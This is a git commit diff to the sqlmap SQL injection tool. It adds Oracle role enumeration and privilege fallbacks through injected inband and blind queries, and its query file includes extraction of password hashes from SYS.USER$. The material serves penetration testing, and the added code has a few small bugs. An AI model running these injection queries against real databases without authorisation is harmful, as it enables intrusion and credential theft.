Added support for --roles (for Oracle ROLE_PRIVS). Enhanced Oracle --privileges to fall-back to USER_SYS_PRIVS if DBA_SYS_PRIVS is not accessible (so session user is not DBA) - Fixes ticket #180.

Minor enhancement to Firebird to determine if a DB user is a DBA.
Minor code refactoring.
This commit is contained in:
Bernardo Damele 2010-03-25 15:46:06 +00:00
parent f4f68218bc
commit 2aadc5c939
8 changed files with 233 additions and 35 deletions

View File

@ -101,6 +101,10 @@ def action():
dumper.userSettings("database management system users privileges",
conf.dbmsHandler.getPrivileges(), "privilege")
if conf.getRoles:
dumper.userSettings("database management system users roles",
conf.dbmsHandler.getRoles(), "role")
if conf.getDbs:
dumper.lister("available databases", conf.dbmsHandler.getDbs())

View File

@ -87,6 +87,7 @@ optDict = {
"getUsers": "boolean",
"getPasswordHashes": "boolean",
"getPrivileges": "boolean",
"getRoles": "boolean",
"getDbs": "boolean",
"getTables": "boolean",
"getColumns": "boolean",

View File

@ -247,6 +247,10 @@ def cmdLineParser():
action="store_true",
help="Enumerate DBMS users privileges")
enumeration.add_option("--roles", dest="getRoles",
action="store_true",
help="Enumerate DBMS users roles")
enumeration.add_option("--dbs", dest="getDbs", action="store_true",
help="Enumerate DBMS databases")

View File

@ -177,6 +177,14 @@ class queriesHandler(ContentHandler):
self.__queries.privileges = self.__privileges
elif name == "roles":
self.__roles = {}
self.__roles["inband"] = { "query": self.__inband, "query2": self.__inband2, "condition": self.__conditionInband, "condition2": self.__conditionInband2 }
self.__roles["blind"] = { "query": self.__blind, "query2": self.__blind2,
"count": self.__count, "count2": self.__count2 }
self.__queries.roles = self.__roles
elif name == "dbs":
self.__dbs = {}
self.__dbs["inband"] = { "query": self.__inband, "query2": self.__inband2 }

View File

@ -22,7 +22,12 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.exception import sqlmapNoneDataException
from lib.request import inject
from plugins.generic.enumeration import Enumeration as GenericEnumeration
@ -30,6 +35,145 @@ class Enumeration(GenericEnumeration):
def __init__(self):
GenericEnumeration.__init__(self, "Oracle")
def getRoles(self, query2=False):
infoMsg = "fetching database users roles"
rootQuery = queries[kb.dbms].roles
if conf.user == "CU":
infoMsg += " for current user"
conf.user = self.getCurrentUser()
logger.info(infoMsg)
# Set containing the list of DBMS administrators
areAdmins = set()
if kb.unionPosition:
if query2:
query = rootQuery["inband"]["query2"]
condition = rootQuery["inband"]["condition2"]
else:
query = rootQuery["inband"]["query"]
condition = rootQuery["inband"]["condition"]
if conf.user:
users = conf.user.split(",")
query += " WHERE "
query += " OR ".join("%s = '%s'" % (condition, user) for user in users)
values = inject.getValue(query, blind=False)
if not values and not query2:
infoMsg = "trying with table USER_ROLE_PRIVS"
logger.info(infoMsg)
return self.getRoles(query2=True)
if values:
for value in values:
user = None
roles = set()
for count in xrange(0, len(value)):
# The first column is always the username
if count == 0:
user = value[count]
# The other columns are the roles
else:
role = value[count]
# In Oracle we get the list of roles as string
roles.add(role)
if self.__isAdminFromPrivileges(roles):
areAdmins.add(user)
if kb.data.cachedUsersRoles.has_key(user):
kb.data.cachedUsersRoles[user].extend(roles)
else:
kb.data.cachedUsersRoles[user] = list(roles)
if not kb.data.cachedUsersRoles:
conditionChar = "="
if conf.user:
users = conf.user.split(",")
else:
if not len(kb.data.cachedUsers):
users = self.getUsers()
else:
users = kb.data.cachedUsers
retrievedUsers = set()
for user in users:
unescapedUser = None
if user in retrievedUsers:
continue
infoMsg = "fetching number of roles "
infoMsg += "for user '%s'" % user
logger.info(infoMsg)
if unescapedUser:
queryUser = unescapedUser
else:
queryUser = user
if query2:
query = rootQuery["blind"]["count2"] % queryUser
else:
query = rootQuery["blind"]["count"] % queryUser
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
if not count.isdigit() or not len(count) or count == "0":
if not count.isdigit() and not query2:
infoMsg = "trying with table USER_SYS_PRIVS"
logger.info(infoMsg)
return self.getPrivileges(query2=True)
warnMsg = "unable to retrieve the number of "
warnMsg += "roles for user '%s'" % user
logger.warn(warnMsg)
continue
infoMsg = "fetching roles for user '%s'" % user
logger.info(infoMsg)
roles = set()
indexRange = getRange(count, plusOne=True)
for index in indexRange:
if query2:
query = rootQuery["blind"]["query2"] % (queryUser, index)
else:
query = rootQuery["blind"]["query"] % (queryUser, index)
role = inject.getValue(query, inband=False)
# In Oracle we get the list of roles as string
roles.add(role)
if roles:
kb.data.cachedUsersRoles[user] = list(roles)
else:
warnMsg = "unable to retrieve the roles "
warnMsg += "for user '%s'" % user
logger.warn(warnMsg)
retrievedUsers.add(user)
if not kb.data.cachedUsersRoles:
errMsg = "unable to retrieve the roles "
errMsg += "for the database users"
raise sqlmapNoneDataException, errMsg
return ( kb.data.cachedUsersRoles, areAdmins )
def getDbs(self):
warnMsg = "on Oracle it is not possible to enumerate databases"
logger.warn(warnMsg)

View File

@ -60,6 +60,7 @@ class Enumeration:
kb.data.cachedUsers = []
kb.data.cachedUsersPasswords = {}
kb.data.cachedUsersPrivileges = {}
kb.data.cachedUsersRoles = {}
kb.data.cachedDbs = []
kb.data.cachedTables = {}
kb.data.cachedColumns = {}
@ -327,9 +328,14 @@ class Enumeration:
# that the user is DBA
dbaCondition |= ( kb.dbms == "MySQL" and not kb.data.has_information_schema and "super_priv" in privileges )
# In Firebird there is no specific privilege that means
# that the user is DBA
# TODO: confirm
dbaCondition |= ( kb.dbms == "Firebird" and "SELECT" in privileges and "INSERT" in privileges and "UPDATE" in privileges and "DELETE" in privileges and "REFERENCES" in privileges and "EXECUTE" in privileges )
return dbaCondition
def getPrivileges(self):
def getPrivileges(self, query2=False):
infoMsg = "fetching database users privileges"
rootQuery = queries[kb.dbms].privileges
@ -377,7 +383,7 @@ class Enumeration:
( 2, "super" ),
( 3, "catupd" ),
)
firebirdPrivs = {
"S": "SELECT",
"I": "INSERT",
@ -391,38 +397,32 @@ class Enumeration:
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
query = rootQuery["inband"]["query2"]
condition = rootQuery["inband"]["condition2"]
elif kb.dbms == "Oracle" and query2:
query = rootQuery["inband"]["query2"]
condition = rootQuery["inband"]["condition2"]
else:
query = rootQuery["inband"]["query"]
condition = rootQuery["inband"]["condition"]
if conf.user:
if "," in conf.user:
users = conf.user.split(",")
query += " WHERE "
# NOTE: I assume that the user provided is not in
# MySQL >= 5.0 syntax 'user'@'host'
if kb.dbms == "MySQL" and kb.data.has_information_schema:
queryUser = "%" + conf.user + "%"
query += " OR ".join("%s LIKE '%s'" % (condition, "%" + user + "%") for user in users)
else:
query += " OR ".join("%s = '%s'" % (condition, user) for user in users)
users = conf.user.split(",")
query += " WHERE "
# NOTE: I assume that the user provided is not in
# MySQL >= 5.0 syntax 'user'@'host'
if kb.dbms == "MySQL" and kb.data.has_information_schema:
queryUser = "%" + conf.user + "%"
query += " OR ".join("%s LIKE '%s'" % (condition, "%" + user + "%") for user in users)
else:
if kb.dbms == "MySQL":
parsedUser = re.search("[\047]*(.*?)[\047]*\@", conf.user)
if parsedUser:
conf.user = parsedUser.groups()[0]
# NOTE: I assume that the user provided is not in
# MySQL >= 5.0 syntax 'user'@'host'
if kb.dbms == "MySQL" and kb.data.has_information_schema:
queryUser = "%" + conf.user + "%"
query += " WHERE %s LIKE '%s'" % (condition, queryUser)
else:
query += " WHERE %s = '%s'" % (condition, conf.user)
query += " OR ".join("%s = '%s'" % (condition, user) for user in users)
values = inject.getValue(query, blind=False)
if not values and kb.dbms == "Oracle" and not query2:
infoMsg = "trying with table USER_SYS_PRIVS"
logger.info(infoMsg)
return self.getPrivileges(query2=True)
if values:
for value in values:
user = None
@ -482,13 +482,8 @@ class Enumeration:
conf.user = parsedUser.groups()[0]
users = [ "%" + conf.user + "%" ]
elif "," in conf.user:
users = conf.user.split(",")
else:
users = [ conf.user ]
users = conf.user.split(",")
else:
if not len(kb.data.cachedUsers):
users = self.getUsers()
@ -519,11 +514,19 @@ class Enumeration:
query = rootQuery["blind"]["count2"] % queryUser
elif kb.dbms == "MySQL" and kb.data.has_information_schema:
query = rootQuery["blind"]["count"] % (conditionChar, queryUser)
elif kb.dbms == "Oracle" and query2:
query = rootQuery["blind"]["count2"] % queryUser
else:
query = rootQuery["blind"]["count"] % queryUser
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
if not count.isdigit() or not len(count) or count == "0":
if not count.isdigit() and kb.dbms == "Oracle" and not query2:
infoMsg = "trying with table USER_SYS_PRIVS"
logger.info(infoMsg)
return self.getPrivileges(query2=True)
warnMsg = "unable to retrieve the number of "
warnMsg += "privileges for user '%s'" % user
logger.warn(warnMsg)
@ -545,6 +548,8 @@ class Enumeration:
query = rootQuery["blind"]["query2"] % (queryUser, index)
elif kb.dbms == "MySQL" and kb.data.has_information_schema:
query = rootQuery["blind"]["query"] % (conditionChar, queryUser, index)
elif kb.dbms == "Oracle" and query2:
query = rootQuery["blind"]["query2"] % (queryUser, index)
elif kb.dbms == "Firebird":
query = rootQuery["blind"]["query"] % (index, queryUser)
else:
@ -585,6 +590,8 @@ class Enumeration:
privileges.add(mysqlPriv)
i += 1
# In Firebird we get one letter for each privilege
elif kb.dbms == "Firebird":
privileges.add(firebirdPrivs[privilege.strip()])
@ -613,6 +620,11 @@ class Enumeration:
return ( kb.data.cachedUsersPrivileges, areAdmins )
def getRoles(self, query2=False):
warnMsg = "on %s the concept of roles does not " % kb.dbms
warnMsg += "exist. sqlmap will enumerate privileges instead"
self.getPrivileges(query2)
def getDbs(self):
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
warnMsg = "information_schema not available, "

View File

@ -248,6 +248,10 @@ getPasswordHashes = False
# Valid: True or False
getPrivileges = False
# Enumerate back-end database management system users roles.
# Valid: True or False
getRoles = False
# Enumerate back-end database management system databases.
# Valid: True or False
getDbs = False

View File

@ -42,6 +42,7 @@
<inband query="SELECT grantee, privilege_type FROM information_schema.USER_PRIVILEGES" condition="grantee" query2="SELECT user, select_priv, insert_priv, update_priv, delete_priv, create_priv, drop_priv, reload_priv, shutdown_priv, process_priv, file_priv, grant_priv, references_priv, index_priv, alter_priv, show_db_priv, super_priv, create_tmp_table_priv, lock_tables_priv, execute_priv, repl_slave_priv, repl_client_priv, create_view_priv, show_view_priv, create_routine_priv, alter_routine_priv, create_user_priv FROM mysql.user" condition2="user"/>
<blind query="SELECT DISTINCT(privilege_type) FROM information_schema.USER_PRIVILEGES WHERE grantee%s%s LIMIT %d, 1" query2="SELECT select_priv, insert_priv, update_priv, delete_priv, create_priv, drop_priv, reload_priv, shutdown_priv, process_priv, file_priv, grant_priv, references_priv, index_priv, alter_priv, show_db_priv, super_priv, create_tmp_table_priv, lock_tables_priv, execute_priv, repl_slave_priv, repl_client_priv, create_view_priv, show_view_priv, create_routine_priv, alter_routine_priv, create_user_priv FROM mysql.user WHERE user='%s' LIMIT %d, 1" count="SELECT COUNT(DISTINCT(privilege_type)) FROM information_schema.USER_PRIVILEGES WHERE grantee%s%s" count2="SELECT COUNT(*) FROM mysql.user WHERE user='%s'"/>
</privileges>
<roles/>
<dbs>
<inband query="SELECT schema_name FROM information_schema.SCHEMATA" query2="SELECT db FROM mysql.db"/>
<blind query="SELECT DISTINCT(schema_name) FROM information_schema.SCHEMATA LIMIT %d, 1" query2="SELECT DISTINCT(db) FROM mysql.db LIMIT %d, 1" count="SELECT COUNT(DISTINCT(schema_name)) FROM information_schema.SCHEMATA" count2="SELECT COUNT(DISTINCT(db)) FROM mysql.db"/>
@ -83,9 +84,13 @@
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END) FROM DUAL"/>
<inference query="AND ASCII(SUBSTR((%s), %d, 1)) > %d"/>
<banner query="SELECT banner FROM v$version WHERE ROWNUM=1"/>
<current_user query="SELECT SYS.LOGIN_USER FROM DUAL"/>
<current_user query="SELECT USER FROM DUAL"/>
<current_db query="SELECT SYS.DATABASE_NAME FROM DUAL"/>
<is_dba query="(SELECT GRANTED_ROLE FROM DBA_ROLE_PRIVS WHERE GRANTEE=SYS.LOGIN_USER AND GRANTED_ROLE='DBA')='DBA'"/>
<!--
NOTE: in Oracle to check if the session user is DBA you can use:
SELECT USERENV('ISDBA') FROM DUAL
-->
<is_dba query="(SELECT GRANTED_ROLE FROM DBA_ROLE_PRIVS WHERE GRANTEE=USER AND GRANTED_ROLE='DBA')='DBA'"/>
<users>
<inband query="SELECT USERNAME FROM SYS.ALL_USERS"/>
<blind query="SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=%d" count="SELECT COUNT(DISTINCT(USERNAME)) FROM SYS.ALL_USERS"/>
@ -94,10 +99,22 @@
<inband query="SELECT NAME, PASSWORD FROM SYS.USER$" condition="NAME"/>
<blind query="SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$ WHERE NAME='%s') WHERE LIMIT=%d" count="SELECT COUNT(DISTINCT(PASSWORD)) FROM SYS.USER$ WHERE NAME='%s'"/>
</passwords>
<!--
NOTE: in Oracle to enumerate the privileges for the session user you can use:
SELECT * FROM SESSION_PRIVS
-->
<privileges>
<inband query="SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS" condition="GRANTEE"/>
<blind query="SELECT DISTINCT(GRANTED_ROLE) FROM (SELECT DISTINCT(GRANTED_ROLE), ROWNUM AS LIMIT FROM DBA_ROLE_PRIVS WHERE GRANTEE='%s') WHERE LIMIT=%d" count="SELECT COUNT(DISTINCT(GRANTED_ROLE)) FROM DBA_ROLE_PRIVS WHERE GRANTEE='%s'"/>
<inband query="SELECT GRANTEE, PRIVILEGE FROM DBA_SYS_PRIVS" query2="SELECT USERNAME, PRIVILEGE FROM USER_SYS_PRIVS" condition="GRANTEE" condition2="USERNAME"/>
<blind query="SELECT DISTINCT(PRIVILEGE) FROM (SELECT DISTINCT(PRIVILEGE), ROWNUM AS LIMIT FROM DBA_SYS_PRIVS WHERE GRANTEE='%s') WHERE LIMIT=%d" query2="SELECT DISTINCT(PRIVILEGE) FROM (SELECT DISTINCT(PRIVILEGE), ROWNUM AS LIMIT FROM USER_SYS_PRIVS WHERE USERNAME='%s') WHERE LIMIT=%d" count="SELECT COUNT(DISTINCT(PRIVILEGE)) FROM DBA_SYS_PRIVS WHERE GRANTEE='%s'" count2="SELECT COUNT(DISTINCT(PRIVILEGE)) FROM USER_SYS_PRIVS WHERE USERNAME='%s'"/>
</privileges>
<!--
NOTE: in Oracle to enumerate the roles for the session user you can use:
SELECT * FROM SESSION_ROLES
-->
<roles>
<inband query="SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS" query2="SELECT USERNAME, GRANTED_ROLE FROM USER_ROLE_PRIVS" condition="GRANTEE" condition2="USERNAME"/>
<blind query="SELECT DISTINCT(GRANTED_ROLE) FROM (SELECT DISTINCT(GRANTED_ROLE), ROWNUM AS LIMIT FROM DBA_ROLE_PRIVS WHERE GRANTEE='%s') WHERE LIMIT=%d" query2="SELECT DISTINCT(GRANTED_ROLE) FROM (SELECT DISTINCT(GRANTED_ROLE), ROWNUM AS LIMIT FROM USER_ROLE_PRIVS WHERE USERNAME='%s') WHERE LIMIT=%d" count="SELECT COUNT(DISTINCT(GRANTED_ROLE)) FROM DBA_ROLE_PRIVS WHERE GRANTEE='%s'" count2="SELECT COUNT(DISTINCT(GRANTED_ROLE)) FROM USER_ROLE_PRIVS WHERE USERNAME='%s'"/>
</roles>
<!-- NOTE: in Oracle there is no query to enumerate DBMS databases. It is possible only through a STATUS request to the Oracle TNS Listener negotiating its protocol -->
<dbs/>
<tables>
@ -160,6 +177,7 @@
<inband query="SELECT usename, (CASE WHEN usecreatedb THEN 1 ELSE 0 END), (CASE WHEN usesuper THEN 1 ELSE 0 END), (CASE WHEN usecatupd THEN 1 ELSE 0 END) FROM pg_user" condition="usename"/>
<blind query="SELECT (CASE WHEN usecreatedb THEN 1 ELSE 0 END), (CASE WHEN usesuper THEN 1 ELSE 0 END), (CASE WHEN usecatupd THEN 1 ELSE 0 END) FROM pg_user WHERE usename='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(usename)) FROM pg_user WHERE usename='%s'"/>
</privileges>
<roles/>
<dbs>
<inband query="SELECT datname FROM pg_database"/>
<blind query="SELECT DISTINCT(datname) FROM pg_database OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(datname)) FROM pg_database"/>
@ -214,6 +232,7 @@
</passwords>
<!-- NOTE: in Microsoft SQL Server there is no query to enumerate DBMS users privileges -->
<privileges/>
<roles/>
<dbs>
<inband query="SELECT name FROM master..sysdatabases"/>
<blind query="SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN (SELECT TOP %d name FROM master..sysdatabases ORDER BY name) ORDER BY name" count="SELECT LTRIM(STR(COUNT(name))) FROM master..sysdatabases"/>
@ -265,6 +284,7 @@
<users/>
<passwords/>
<privileges/>
<roles/>
<dbs/>
<tables>
<inband query="SELECT tbl_name FROM sqlite_master WHERE type='table'"/>
@ -339,6 +359,7 @@
<inband query="SELECT RDB$USER, RDB$PRIVILEGE FROM RDB$USER_PRIVILEGES" condition="RDB$USER"/>
<blind query="SELECT FIRST 1 SKIP %d DISTINCT(RDB$PRIVILEGE) FROM RDB$USER_PRIVILEGES WHERE RDB$USER='%s'" count="SELECT COUNT(DISTINCT(RDB$PRIVILEGE)) FROM RDB$USER_PRIVILEGES WHERE RDB$USER='%s'"/>
</privileges>
<roles/>
<dbs/>
<columns>
<!--<inband query="SELECT r.RDB$FIELD_NAME, CASE f.RDB$FIELD_TYPE WHEN 261 THEN 'BLOB' WHEN 14 THEN 'CHAR' WHEN 40 THEN 'CSTRING' WHEN 11 THEN 'D_FLOAT' WHEN 27 THEN 'DOUBLE' WHEN 10 THEN 'FLOAT' WHEN 16 THEN 'INT64' WHEN 8 THEN 'INTEGER' WHEN 9 THEN 'QUAD' WHEN 7 THEN 'SMALLINT' WHEN 12 THEN 'DATE' WHEN 13 THEN 'TIME' WHEN 35 THEN 'TIMESTAMP' WHEN 37 THEN 'VARCHAR' ELSE 'UNKNOWN' END AS field_type FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE = f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s'"/>-->